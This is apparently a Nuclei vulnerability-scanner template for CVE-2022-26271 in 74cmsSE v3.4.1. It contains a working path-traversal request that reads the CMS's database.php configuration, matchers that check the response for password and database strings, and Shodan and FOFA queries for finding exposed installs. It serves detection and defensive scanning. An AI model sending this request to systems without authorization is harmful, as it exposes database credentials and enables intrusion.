id: CVE-2022-26271

info:
  name: 74cmsSE v3.4.1 - Arbitrary File Read
  author: ritikchaddha
  severity: high
  description: |
    74cmsSE v3.4.1 was discovered to contain an arbitrary file read vulnerability via the $url parameter at \index\controller\Download.php.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/N1ce759/74cmsSE-Arbitrary-File-Reading/issues/1
    - https://nvd.nist.gov/vuln/detail/cve-2022-26271
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-26271
    cwe-id: CWE-552
    epss-score: 0.04633
    epss-percentile: 0.9052
    cpe: cpe:2.3:a:74cms:74cms:3.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query: app="74cms"
  tags: cve,cve2022,74cms,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index/download/index?name=index.php&url=../../application/database.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "return array"
          - "password"
          - "database"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/octet-stream"
# digest: 4a0a00473045022017bf15c0701228613ed5831e267e9bbf6122a96e00c7dcf8a3b36cad25f43fb9022100a9a66b605d89b9cef8f3e8107b109a9b3581be13d09799d3ec0e31f2c281cd10:922c64590222798bb761d5b6d8e72950